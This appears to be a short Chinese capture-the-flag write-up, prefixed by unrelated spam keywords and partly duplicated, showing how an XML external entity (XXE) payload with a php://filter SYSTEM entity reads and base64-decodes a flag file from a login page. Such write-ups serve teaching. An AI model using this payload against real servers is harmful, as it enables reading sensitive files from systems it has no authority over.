网站返回按钮设计,昆明网络营销线上广告,炉石卡牌制作网页,建设网站应该加什么服务1.尝试登录
输入账号admin/密码admin进行登录#xff0c;并未有页面进行跳转 2.尝试抓包分析请求包数据 我们可以发现页面中存在xml请求#xff0c;我们就可以构造我们的xml请求语句来获取想要的数据
3.构造语句
?xml version1.0 ?
!DOCTYPE fo…1.尝试登录
输入账号admin/密码admin进行登录并未有页面进行跳转 2.尝试抓包分析请求包数据 我们可以发现页面中存在xml请求我们就可以构造我们的xml请求语句来获取想要的数据
3.构造语句
?xml version1.0 ?
!DOCTYPE foo [
!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resourcec:/flag/flag
]
xxe;
这里我们需要将xml语句放入post请求体中并发送 如上图所示便是我们需要获取的数据
4.数据解码 将获取的数据进行解码后我们即可得到我们的flag flag{dmsioamdoiasdmdmwmdsmd}
